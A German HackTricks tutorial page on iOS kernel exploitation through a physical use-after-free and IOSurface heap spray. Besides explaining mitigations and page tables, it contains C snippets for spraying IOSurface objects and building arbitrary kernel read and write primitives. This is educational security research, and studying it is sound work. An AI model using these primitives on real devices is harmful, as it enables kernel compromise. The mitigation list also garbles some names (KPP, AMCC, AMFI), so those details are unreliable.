iOS Physical Use After Free via IOSurface
Reading time: 13 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
iOS Exploit Mitigations
- Code Signing in iOS funktioniert dadurch, dass jedes ausführbare Stück Code (apps, libraries, extensions, etc.) kryptografisch mit einem von Apple ausgestellten Zertifikat signiert sein muss. Beim Laden des Codes überprüft iOS die digitale Signatur gegen Apples vertrauenswürdige Root. Ist die Signatur ungültig, fehlt oder wurde verändert, verweigert das OS die Ausführung. Das verhindert, dass Angreifer bösartigen Code in legitime Apps injizieren oder unsignierte Binärdateien ausführen können und unterbindet damit die meisten Exploit-Ketten, die auf das Ausführen beliebigen oder manipulierten Codes angewiesen sind.
- CoreTrust ist das iOS-Subsystem, das die Code-Signierung zur Laufzeit durchsetzt. Es verifiziert Signaturen direkt mit Apples Root-Zertifikat, ohne sich auf zwischengespeicherte Trust-Stores zu verlassen, was bedeutet, dass nur von Apple signierte Binärdateien (oder solche mit gültigen Entitlements) ausgeführt werden können. CoreTrust stellt sicher, dass selbst wenn ein Angreifer eine App nach der Installation manipuliert, Systembibliotheken verändert oder versucht, unsignierten Code zu laden, die Ausführung blockiert wird, sofern der Code nicht korrekt signiert ist. Diese strikte Durchsetzung schließt viele Post-Exploitation-Vektoren, die ältere iOS-Versionen durch schwächere oder umgehbare Signaturprüfungen zuließen.
- Data Execution Prevention (DEP) kennzeichnet Speicherregionen als nicht-ausführbar, sofern sie nicht explizit Code enthalten. Das verhindert, dass Angreifer Shellcode in Datenregionen (z. B. Stack oder Heap) injizieren und ausführen, und zwingt sie, auf komplexere Techniken wie ROP zurückzugreifen.
- ASLR (Address Space Layout Randomization) randomisiert die Speicheradressen von Code, Libraries, Stack und Heap bei jedem Systemstart. Das erschwert Angreifern erheblich, vorherzusagen, wo sich nützliche Instruktionen oder Gadgets befinden, und bricht viele Exploit-Ketten, die auf feste Speicherlayouts angewiesen sind.
- KASLR (Kernel ASLR) wendet dasselbe Randomisierungsprinzip auf den iOS Kernel an. Durch Verschieben der Kernel-Basisadresse bei jedem Boot wird verhindert, dass Angreifer zuverlässig Kernel-Funktionen oder -Strukturen lokalisieren können, was die Schwierigkeit von Kernel-Level-Exploits erhöht, die ansonsten volle Systemkontrolle erlangen könnten.
- Kernel Patch Protection (KPP), auch bekannt als AMCC (Apple Mobile File Integrity) in iOS, überwacht kontinuierlich die Code-Seiten des Kernel, um sicherzustellen, dass sie nicht verändert wurden. Wenn eine Manipulation entdeckt wird — etwa ein Versuch, Kernel-Funktionen zu patchen oder bösartigen Code einzufügen — wird das Gerät sofort panicen und neu starten. Dieser Schutz erschwert persistente Kernel-Exploits, da Angreifer Kernel-Instruktionen nicht einfach hooken oder patchen können, ohne einen Systemabsturz auszulösen.
- Kernel Text Readonly Region (KTRR) ist eine hardwarebasierte Sicherheitsfunktion auf iOS-Geräten. Sie verwendet den Memory-Controller der CPU, um den Kernel-Code-(text)-Bereich nach dem Boot dauerhaft als schreibgeschützt zu markieren. Einmal gesperrt, kann selbst der Kernel diesen Speicherbereich nicht mehr verändern. Das verhindert, dass Angreifer — und sogar privilegierter Code — Kernel-Instruktionen zur Laufzeit patchen, und schließt eine wichtige Klasse von Exploits, die direkt auf das Modifizieren von Kernel-Code angewiesen waren.
- Pointer Authentication Codes (PAC) nutzen kryptografische Signaturen, die in ungenutzten Bits von Zeigern eingebettet sind, um deren Integrität vor der Nutzung zu überprüfen. Wenn ein Zeiger (z. B. eine Return-Adresse oder ein Function-Pointer) erstellt wird, signiert die CPU ihn mit einem geheimen Schlüssel; vor dem Dereferenzieren prüft die CPU die Signatur. Wurde der Zeiger manipuliert, schlägt die Prüfung fehl und die Ausführung stoppt. Das verhindert, dass Angreifer Zeiger in Speicher-Korruptions-Exploits fälschen oder wiederverwenden, und macht Techniken wie ROP oder JOP deutlich schwieriger durchführbar.
- Privilege Access never (PAN) ist eine Hardware-Funktion, die verhindert, dass der Kernel (privilegierter Modus) direkt auf user-space Memory zugreift, es sei denn, er aktiviert den Zugriff explizit. Das stoppt Angreifer, die Kernel-Code-Ausführung erlangt haben, daran, einfach User-Memory zu lesen oder zu schreiben, um Exploits zu eskalieren oder sensible Daten zu stehlen. Durch die strikte Trennung reduziert PAN die Auswirkungen von Kernel-Exploits und blockiert viele gängige Privilege-Escalation-Techniken.
- Page Protection Layer (PPL) ist ein iOS-Sicherheitsmechanismus, der kritische, vom Kernel verwaltete Speicherregionen schützt, insbesondere solche, die mit Code-Signing und Entitlements zusammenhängen. Er erzwingt strikte Schreibschutzregeln mittels MMU und zusätzlicher Prüfungen und stellt sicher, dass selbst privilegierter Kernel-Code sensitive Pages nicht beliebig modifizieren kann. Das verhindert, dass Angreifer mit Kernel-Level-Ausführung sicherheitskritische Strukturen manipulieren, wodurch Persistenz und Code-Signing-Bypässe deutlich erschwert werden.
Physical use-after-free
Dies ist eine Zusammenfassung des Posts von https://alfiecg.uk/2024/09/24/Kernel-exploit.html. Weitere Informationen zu Exploits, die diese Technik verwenden, finden sich in https://github.com/felix-pb/kfd
Memory management in XNU
Der virtuelle Adressraum für User-Prozesse auf iOS erstreckt sich von 0x0 bis 0x8000000000. Diese Adressen werden jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der kernel page tables, um virtuelle Adressen in tatsächliche physische Adressen zu übersetzen.
Levels of Page Tables in iOS
Page tables sind hierarchisch in drei Ebenen organisiert:
- L1 Page Table (Level 1):
- Jeder Eintrag repräsentiert einen großen Bereich des virtuellen Speichers.
- Er deckt 0x1000000000 bytes (oder 256 GB) virtuellen Speicher ab.
- L2 Page Table (Level 2):
- Ein Eintrag stellt einen kleineren Bereich virtuellen Speichers dar, speziell 0x2000000 bytes (32 MB).
- Ein L1-Eintrag kann auf eine L2-Tabelle zeigen, wenn er die gesamte Region nicht selbst abbilden kann.
- L3 Page Table (Level 3):
- Dies ist die feinste Ebene, in der jeder Eintrag eine einzelne 4 KB-Speicherseite mappt.
- Ein L2-Eintrag kann auf eine L3-Tabelle zeigen, wenn eine granulare Kontrolle erforderlich ist.
Mapping Virtual to Physical Memory
- Direct Mapping (Block Mapping):
- Einige Einträge in einem page table mappen direkt einen Bereich virtueller Adressen auf einen zusammenhängenden Bereich physischer Adressen (wie eine Abkürzung).
- Pointer to Child Page Table:
- Wenn feinere Kontrolle nötig ist, kann ein Eintrag auf einer Ebene (z. B. L1) auf eine child page table der nächsten Ebene (z. B. L2) zeigen.
Example: Mapping a Virtual Address
Angenommen, Sie greifen auf die virtuelle Adresse 0x1000000000 zu:
- L1 Table:
- Der Kernel prüft den L1-Page-Table-Eintrag, der dieser virtuellen Adresse entspricht. Enthält er einen Pointer to an L2 page table, geht er zu dieser L2-Tabelle.
- L2 Table:
- Der Kernel prüft die L2-Page-Table für eine detailliertere Abbildung. Zeigt dieser Eintrag auf eine L3 page table, geht er dorthin.
- L3 Table:
- Der Kernel sieht den finalen L3-Eintrag nach, der auf die physische Adresse der tatsächlichen Memory-Page zeigt.
Example of Address Mapping
Wenn Sie die physische Adresse 0x800004000 in den ersten Index der L2-Tabelle schreiben, dann:
- Virtuelle Adressen von 0x1000000000 bis 0x1002000000 werden auf physische Adressen von 0x800004000 bis 0x802004000 abgebildet.
- Dies ist ein block mapping auf L2-Ebene.
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle zeigt:
- Jede 4 KB-Page im virtuellen Adressbereich 0x1000000000 -> 0x1002000000 würde von einzelnen Einträgen in der L3-Tabelle gemappt werden.
Physical use-after-free
Ein physical use-after-free (UAF) tritt auf, wenn:
- Ein Prozess alloziert Memory als readable and writable.
- Die page tables werden aktualisiert, um diesen Memory-Bereich auf eine bestimmte physische Adresse zu mappen, auf die der Prozess zugreifen kann.
- Der Prozess dealloziert (freeed) den Memory-Bereich.
- Aufgrund eines Bugs vergisst der kernel, die Mapping-Einträge aus den page tables zu entfernen, obwohl der entsprechende physische Speicher als frei markiert wird.
- Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke reallozieren, z. B. für kernel data.
- Da das Mapping nicht entfernt wurde, kann der Prozess weiterhin auf diesen physischen Speicher read and write zugreifen.
Das bedeutet, dass der Prozess auf Pages von kernel memory zugreifen kann, die sensible Daten oder Strukturen enthalten könnten und es einem Angreifer ermöglichen, kernel memory zu manipulieren.
IOSurface Heap Spray
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Pages für den freigegebenen Speicher verwendet werden, verwendet er eine Technik namens heap spray:
- Der Angreifer erstellt eine große Anzahl von IOSurface objects im kernel memory.
- Jedes IOSurface-Objekt enthält in einem seiner Felder einen magic value, wodurch es leicht zu identifizieren ist.
- Sie scannen die freigegebenen Pages, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Page gelandet ist.
- Wenn sie ein IOSurface-Objekt auf einer freigegebenen Page finden, können sie es nutzen, um kernel memory zu lesen und zu schreiben.
Weitere Informationen dazu in https://github.com/felix-pb/kfd/tree/main/writeups
tip
Beachten Sie, dass iOS 16+ (A12+) Geräte hardwarebasierte Mitigationen (wie PPL oder SPTM) mitbringen, die physical UAF-Techniken deutlich weniger praktikabel machen. PPL erzwingt strikte MMU-Schutzmaßnahmen für Pages, die mit Code-Signing, Entitlements und sensiblen Kernel-Daten zusammenhängen, sodass selbst wenn eine Page wiederverwendet wird, Schreibzugriffe aus userland oder kompromittiertem Kernel-Code auf PPL-geschützte Pages blockiert werden. Secure Page Table Monitor (SPTM) erweitert PPL, indem es page table updates selbst härtert. Es stellt sicher, dass selbst privilegierter Kernel-Code nicht stillschweigend freed Pages remappen oder Mappings ohne sichere Prüfungen manipulieren kann. KTRR (Kernel Text Read-Only Region) sperrt den Kernel-Code-Bereich nach dem Boot als read-only. Das verhindert Laufzeit-Änderungen am Kernel-Code und schließt einen großen Angriffsvektor, auf den physical UAF-Exploits oft angewiesen sind. Außerdem sind IOSurface-Allocations weniger vorhersehbar und schwerer in user-accessible Regionen zu mappen, was den „magic value scanning“-Trick deutlich unzuverlässiger macht. Und IOSurface wird jetzt durch Entitlements und Sandbox-Restriktionen geschützt.
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: Der Angreifer erstellt viele IOSurface-Objekte mit einer speziellen Kennung ("magic value").
- Scan Freed Pages: Er prüft, ob eines der Objekte auf einer freigegebenen Page alloziert wurde.
- Read/Write Kernel Memory: Durch Manipulation von Feldern im IOSurface-Objekt erlangt er die Fähigkeit zu arbitrary reads and writes im kernel memory. Damit kann er:
- Ein Feld verwenden, um jeden 32-Bit-Wert im kernel memory zu lesen.
- Ein anderes Feld verwenden, um 64-Bit-Werte zu schreiben und so ein stabiles kernel read/write primitive zu erreichen.
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Suche nach IOSurface
-Objekten in einer freigegebenen physischen Seite:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Kernel-Lese-/Schreibzugriff mit IOSurface erreichen
Nachdem Kontrolle über ein IOSurface-Objekt im Kernel-Speicher erlangt wurde (auf eine freigegebene physische Seite abgebildet, die vom userspace aus zugänglich ist), können wir es für beliebige Kernel-Lese- und Schreiboperationen verwenden.
Wichtige Felder in IOSurface
Das IOSurface-Objekt hat zwei entscheidende Felder:
- Use Count Pointer: Ermöglicht einen 32-bit read.
- Indexed Timestamp Pointer: Ermöglicht einen 64-bit write.
Durch Überschreiben dieser Pointer leiten wir sie auf beliebige Adressen im Kernel-Speicher um und ermöglichen so Lese-/Schreibzugriffe.
32-Bit Kernel-Lesezugriff
Um einen Lesevorgang durchzuführen:
- Überschreibe den use count pointer, sodass er auf die Zieladresse minus einem 0x14-Byte-Offset zeigt.
- Verwende die Methode
get_use_count
, um den Wert an dieser Adresse zu lesen.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Um eine Schreiboperation durchzuführen:
- Überschreibe den indexed timestamp pointer auf die Zieladresse.
- Verwende die Methode
set_indexed_timestamp
, um einen 64-Bit-Wert zu schreiben.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Exploit-Ablauf — Zusammenfassung
- Trigger Physical Use-After-Free: Freie Seiten stehen zur Wiederverwendung zur Verfügung.
- Spray IOSurface Objects: Allokiere viele IOSurface-Objekte mit einem eindeutigen "magic value" im kernel memory.
- Identify Accessible IOSurface: Finde ein IOSurface auf einer freigegebenen Seite, die du kontrollierst.
- Abuse Use-After-Free: Ändere Pointer im IOSurface-Objekt, um über IOSurface-Methoden beliebige kernel read/write zu ermöglichen.
Mit diesen Primitiven stellt der Exploit kontrollierte 32-bit reads und 64-bit writes im kernel memory bereit. Weitere Jailbreak-Schritte könnten stabilere read/write-Primitiven erfordern, die das Umgehen zusätzlicher Schutzmechanismen (z. B. PPL auf neueren arm64e devices) notwendig machen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.